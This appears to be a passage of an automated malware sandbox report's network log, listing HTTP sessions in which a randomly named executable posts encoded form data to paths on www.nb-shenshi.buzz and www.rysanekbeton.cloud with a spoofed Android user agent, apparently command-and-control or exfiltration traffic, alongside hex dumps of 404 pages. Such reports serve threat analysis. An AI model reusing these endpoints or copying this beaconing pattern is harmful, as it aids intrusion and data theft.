                                                                  Dec 5, 2024 14:09:05.230057955 CET1236INData Raw: 33 34 2e 34 36 39 31 37 20 35 2e 30 36 36 30 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a
                                                                  Data Ascii: 34.46917 5.066095,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path
                                                                  Dec 5, 2024 14:09:05.230071068 CET1236INData Raw: 32 38 39 2c 31 38 2e 34 31 35 35 20 2d 38 2e 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66
                                                                  Data Ascii: 289,18.4155 -8.45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717"
                                                                  Dec 5, 2024 14:09:05.349895000 CET1236INData Raw: 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74
                                                                  Data Ascii: oke-dasharray:none;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  21192.168.2.449974161.97.168.245801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:11.066478014 CET738OUTPOST /1mwk/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.nb-shenshi.buzz
                                                                  Origin: http://www.nb-shenshi.buzz
                                                                  Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 4a 56 63 4b 77 30 36 6d 6c 5a 52 4f 2b 69 59 39 4a 4f 35 4e 6a 67 34 70 48 48 6b 4c 68 4b 65 77 45 4d 46 57 56 76 2f 38 6f 45 41 71 70 72 73 35 73 73 48 77 52 4b 58 2b 6c 48 70 2f 43 30 65 65 44 6d 4d 58 2b 6e 6f 6c 67 4b 44 49 4f 64 6f 64 59 55 4e 6b 62 4d 4a 42 51 51 41 52 50 38 7a 49 52 73 41 6c 6f 7a 6e 51 63 68 71 30 77 54 78 67 63 5a 78 34 54 63 36 65 45 48 79 73 32 33 42 71 78 32 78 45 31 63 39 42 56 4a 51 32 2f 51 4d 49 70 57 7a 59 33 5a 2b 42 56 51 78 78 47 32 50 6a 4b 45 59 55 62 48 48 4d 6e 38 2b 54 6b 6a 31 79 43 2b 5a 64 42 67 3d 3d
                                                                  Data Ascii: -n=XNXAwY3pM3jvJVcKw06mlZRO+iY9JO5Njg4pHHkLhKewEMFWVv/8oEAqprs5ssHwRKX+lHp/C0eeDmMX+nolgKDIOdodYUNkbMJBQQARP8zIRsAloznQchq0wTxgcZx4Tc6eEHys23Bqx2xE1c9BVJQ2/QMIpWzY3Z+BVQxxG2PjKEYUbHHMn8+Tkj1yC+ZdBg==
                                                                  Dec 5, 2024 14:09:12.300282955 CET1236INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:12 GMT
                                                                  Content-Type: text/html; charset=utf-8
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Vary: Accept-Encoding
                                                                  ETag: W/"66cd104a-b96"
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                  Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                  Dec 5, 2024 14:09:12.300321102 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                  Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  22192.168.2.449980161.97.168.245801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:13.725298882 CET758OUTPOST /1mwk/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 219
                                                                  Host: www.nb-shenshi.buzz
                                                                  Origin: http://www.nb-shenshi.buzz
                                                                  Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 49 31 73 4b 79 54 6d 6d 6a 35 52 42 31 43 59 39 41 75 35 42 6a 68 45 70 48 44 39 55 68 35 71 77 45 74 31 57 48 61 44 38 70 45 41 71 6e 4c 73 38 78 63 47 38 52 4c 72 41 6c 46 4e 2f 43 77 32 65 44 69 49 58 2b 30 77 6b 69 61 44 64 47 39 6f 66 41 30 4e 6b 62 4d 4a 42 51 51 46 36 50 38 62 49 51 66 59 6c 75 53 6e 54 53 42 71 33 7a 54 78 67 4e 4a 78 38 54 63 37 37 45 46 48 44 32 31 4a 71 78 7a 56 45 30 4e 39 41 66 4a 51 30 67 67 4e 65 68 55 71 56 7a 4b 58 6e 4e 79 74 4c 46 32 48 6b 4c 43 56 4f 4b 32 6d 62 31 38 61 67 35 6b 38 47 50 39 6b 55 61 74 43 4b 51 61 37 70 73 4c 5a 4b 4d 49 69 34 5a 61 31 7a 71 47 55 3d
                                                                  Data Ascii: -n=XNXAwY3pM3jvI1sKyTmmj5RB1CY9Au5BjhEpHD9Uh5qwEt1WHaD8pEAqnLs8xcG8RLrAlFN/Cw2eDiIX+0wkiaDdG9ofA0NkbMJBQQF6P8bIQfYluSnTSBq3zTxgNJx8Tc77EFHD21JqxzVE0N9AfJQ0ggNehUqVzKXnNytLF2HkLCVOK2mb18ag5k8GP9kUatCKQa7psLZKMIi4Za1zqGU=
                                                                  Dec 5, 2024 14:09:14.957554102 CET1236INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:14 GMT
                                                                  Content-Type: text/html; charset=utf-8
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Vary: Accept-Encoding
                                                                  ETag: W/"66cd104a-b96"
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                  Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                  Dec 5, 2024 14:09:14.957679033 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                  Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  23192.168.2.449989161.97.168.245801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:16.381061077 CET10840OUTPOST /1mwk/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 10299
                                                                  Host: www.nb-shenshi.buzz
                                                                  Origin: http://www.nb-shenshi.buzz
                                                                  Referer: http://www.nb-shenshi.buzz/1mwk/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 58 4e 58 41 77 59 33 70 4d 33 6a 76 49 31 73 4b 79 54 6d 6d 6a 35 52 42 31 43 59 39 41 75 35 42 6a 68 45 70 48 44 39 55 68 35 79 77 45 66 4e 57 56 4e 58 38 75 45 41 71 76 72 73 39 78 63 48 6d 52 4b 44 4d 6c 46 42 56 43 79 2b 65 42 42 41 58 71 56 77 6b 6f 61 44 64 45 39 6f 61 59 55 4e 78 62 4d 59 47 51 51 56 36 50 38 62 49 51 5a 30 6c 74 44 6e 54 51 42 71 30 77 54 78 73 63 5a 78 41 54 63 6a 4e 45 46 54 70 32 42 46 71 77 54 46 45 33 37 4a 41 54 4a 51 79 6a 67 4e 57 68 55 58 56 7a 4b 4c 38 4e 7a 5a 68 46 30 62 6b 49 6d 67 74 51 79 71 2b 69 50 53 61 38 6c 6f 69 4b 73 45 33 56 4b 65 6f 65 72 37 72 30 35 4e 53 48 59 66 64 62 70 68 79 7a 57 7a 75 42 49 45 70 4e 76 63 4a 37 76 6c 37 77 38 4e 56 61 47 6c 32 73 36 79 68 4f 51 30 52 6b 6d 50 34 45 54 43 6f 4f 61 59 43 73 6d 55 2b 56 64 48 4d 30 57 6b 74 50 49 2f 48 6e 6f 6b 46 49 73 31 65 54 4f 5a 70 53 44 69 5a 6e 64 4d 77 2f 6c 62 76 64 6f 6d 6f 39 56 4b 44 59 65 78 78 58 59 6d 34 6d 6e 53 6a 68 51 77 36 55 6b 47 54 51 65 2f 70 48 42 6d 30 38 56 71 [TRUNCATED]
                                                                  Data Ascii: -n=XNXAwY3pM3jvI1sKyTmmj5RB1CY9Au5BjhEpHD9Uh5ywEfNWVNX8uEAqvrs9xcHmRKDMlFBVCy+eBBAXqVwkoaDdE9oaYUNxbMYGQQV6P8bIQZ0ltDnTQBq0wTxscZxATcjNEFTp2BFqwTFE37JATJQyjgNWhUXVzKL8NzZhF0bkImgtQyq+iPSa8loiKsE3VKeoer7r05NSHYfdbphyzWzuBIEpNvcJ7vl7w8NVaGl2s6yhOQ0RkmP4ETCoOaYCsmU+VdHM0WktPI/HnokFIs1eTOZpSDiZndMw/lbvdomo9VKDYexxXYm4mnSjhQw6UkGTQe/pHBm08VqV+GLP3zl/7hckKCFCrcpKhrKpET6zF6YkhvIJSRnBqBDotg4BLoHJLJJAlnopBnIwPx/JiTEAgsDJiZWBEuwNq21edPycn8V+L2Q7kfKGKzE2wGQtoSLcHPyiPeRfvbEzmaivggNowj8Vje1jQydIdWy6IyWOJuQ77tSxIPDVNeKUOVMwbi8oHW4aTxwJ0CLh06VNz3W0kgRd5v9HDAVdCgUJ0UQEQGVn+jG+JjYWQTSqKN49FlqXYiORpP7giJJQ43dkBRfYqFCSOeJG3cwu/GyDZfaDJn1/NtFhHNYKeiWOZL5/AUIhkSMs42Bd5tKVAQJs465bJa5utobxQq4TaBiYpOaP4/47Hy0Oppi+j3QljCaDLqBMzs9ZaPTQ87GIgWQAla/V+BfOMnhz+Up7axwuN+2NX2OXIiND7JVPmZBrwxPwBXb2i749ow0I5YzkpCejTC4x0pC5VO/JEWVNOwlcUq8UcsneaH7hpytIFIcyV/vAyskZxttoSlcnlY2+CxuoQapz1x0J01o2dlU6OOn+TFq+Ev66lbAgZzlQnxKAhLuac2n7LYgI8ruz4ZSBRlag7RmGZ3W8FTrAr18Lk6kl6lQGi6ZnqP1HGeZIQqII2knTr384viEtr2xExPDhQAbDUCPUagH/ssW1tBaMX05ZZarKX3xas [TRUNCATED]
                                                                  Dec 5, 2024 14:09:17.619807005 CET1236INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:17 GMT
                                                                  Content-Type: text/html; charset=utf-8
                                                                  Transfer-Encoding: chunked
                                                                  Connection: close
                                                                  Vary: Accept-Encoding
                                                                  ETag: W/"66cd104a-b96"
                                                                  Content-Encoding: gzip
                                                                  Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED]
                                                                  Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb*+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.*lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z|Q&8UjXB]O;g}|5@Ro&i<b)~KmA5n*)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF*&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V|NRkPqcq?mDEN&BFtKGQ/xI %iO|CqCJAtV"|"@(3'!A>0HpL(pHP8G,$Qc
                                                                  Dec 5, 2024 14:09:17.620002985 CET370INData Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0
                                                                  Data Ascii: (aL`!I>:8%>!+F3|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  24192.168.2.449995161.97.168.245801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:19.035568953 CET466OUTGET /1mwk/?e018=ylo8idjP&-n=aP/gzvnIJweJBGAM8k6pu85FwARGRrJi7lENLyBMprrjHPxpI72KmSEUutQfwM36acX1gmYQGU/DOh8WpWJogojdJuslZQVWDuA2Yws6YeX4RtAi+znuQho= HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Connection: close
                                                                  Host: www.nb-shenshi.buzz
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Dec 5, 2024 14:09:20.271209002 CET1236INHTTP/1.1 404 Not Found
                                                                  Server: nginx
                                                                  Date: Thu, 05 Dec 2024 13:09:20 GMT
                                                                  Content-Type: text/html; charset=utf-8
                                                                  Content-Length: 2966
                                                                  Connection: close
                                                                  Vary: Accept-Encoding
                                                                  ETag: "66cd104a-b96"
                                                                  Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 20 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 20 22 53 65 67 6f 65 20 55 49 22 2c 20 52 6f 62 6f 74 6f 2c 20 22 48 [TRUNCATED]
                                                                  Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;color: #5d5d5d;font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial,"Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol","Noto Color Emoji";text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.75);text-align: center;}h1 {font-size: 2.45em;font-weight: 700;color: #5d5d5d;letter-spacing: -0.02em;margin-bottom: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;}.info {color: #5594cf;fill: #5594cf;}.error [TRUNCATED]
                                                                  Dec 5, 2024 14:09:20.271234035 CET1236INData Raw: 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 63 39 32 31 32 37 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 77 61 72 6e 69 6e 67 20 7b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 66 66 63 63 33 33 3b 0a 09 09 09 09 66 69 6c 6c 3a 20 23 66 66 63 63 33 33 3b 0a 09 09
                                                                  Data Ascii: ;fill: #c92127;}.warning {color: #ffcc33;fill: #ffcc33;}.success {color: #5aba47;fill: #5aba47;}.icon-large {height: 132px;width: 132px;}.description-text {color: #707
                                                                  Dec 5, 2024 14:09:20.271245003 CET698INData Raw: 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e 36 32 37 20 30 20 31 32 2d 35 2e 33 37 33 20 31 32 2d 31 32 76 2d 31 2e 33 33 33 63 30 2d 32 38 2e 34 36 32 20 38 33 2e
                                                                  Data Ascii: 941 216 296v4c0 6.627 5.373 12 12 12h56c6.627 0 12-5.373 12-12v-1.333c0-28.462 83.186-29.647 83.186-106.667 0-58.002-60.165-102-116.531-102zM256 338c-25.365 0-46 20.635-46 46 0 25.364 20.635 46 46 46s46-20.636 46-46c0-25.365-20.635-46-46-46z"


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  25192.168.2.45001281.2.196.19801432C:\Program Files (x86)\NfWgOKvVFLKkdYeVOumDaAJJzVgjkChmuRNDfnDyDdLbBuzGZe\rHureRETbmkd.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Dec 5, 2024 14:09:26.084995985 CET747OUTPOST /3g99/ HTTP/1.1
                                                                  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                  Accept-Encoding: gzip, deflate, br
                                                                  Accept-Language: en-US,en;q=0.9
                                                                  Cache-Control: no-cache
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  Connection: close
                                                                  Content-Length: 199
                                                                  Host: www.rysanekbeton.cloud
                                                                  Origin: http://www.rysanekbeton.cloud
                                                                  Referer: http://www.rysanekbeton.cloud/3g99/
                                                                  User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; en-gb; GT-S5301 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
                                                                  Data Raw: 2d 6e 3d 63 77 46 74 64 75 42 35 51 50 6a 65 33 42 75 6c 4b 65 46 59 30 66 5a 70 79 69 74 79 4f 78 4b 6e 71 45 35 67 59 6d 68 31 59 7a 5a 31 34 32 57 79 46 65 30 68 2b 51 49 6c 55 50 41 52 34 76 68 67 7a 54 58 46 4e 57 78 79 71 43 6a 51 69 46 66 6b 4a 4c 47 30 63 67 43 55 50 49 70 62 56 6e 65 32 63 50 38 35 4a 41 30 64 53 52 68 33 37 42 39 4b 68 4f 58 48 79 77 65 4d 44 4a 35 59 2b 33 76 4c 74 44 41 4c 74 48 78 2f 42 32 4d 38 4a 6b 6b 43 32 6b 4e 48 39 4c 50 74 6a 34 42 50 5a 61 59 34 50 2b 74 42 78 2b 6b 33 59 39 63 6c 72 6c 34 2b 67 71 75 52 52 33 52 54 53 53 39 79 64 6f 70 42 65 67 3d 3d
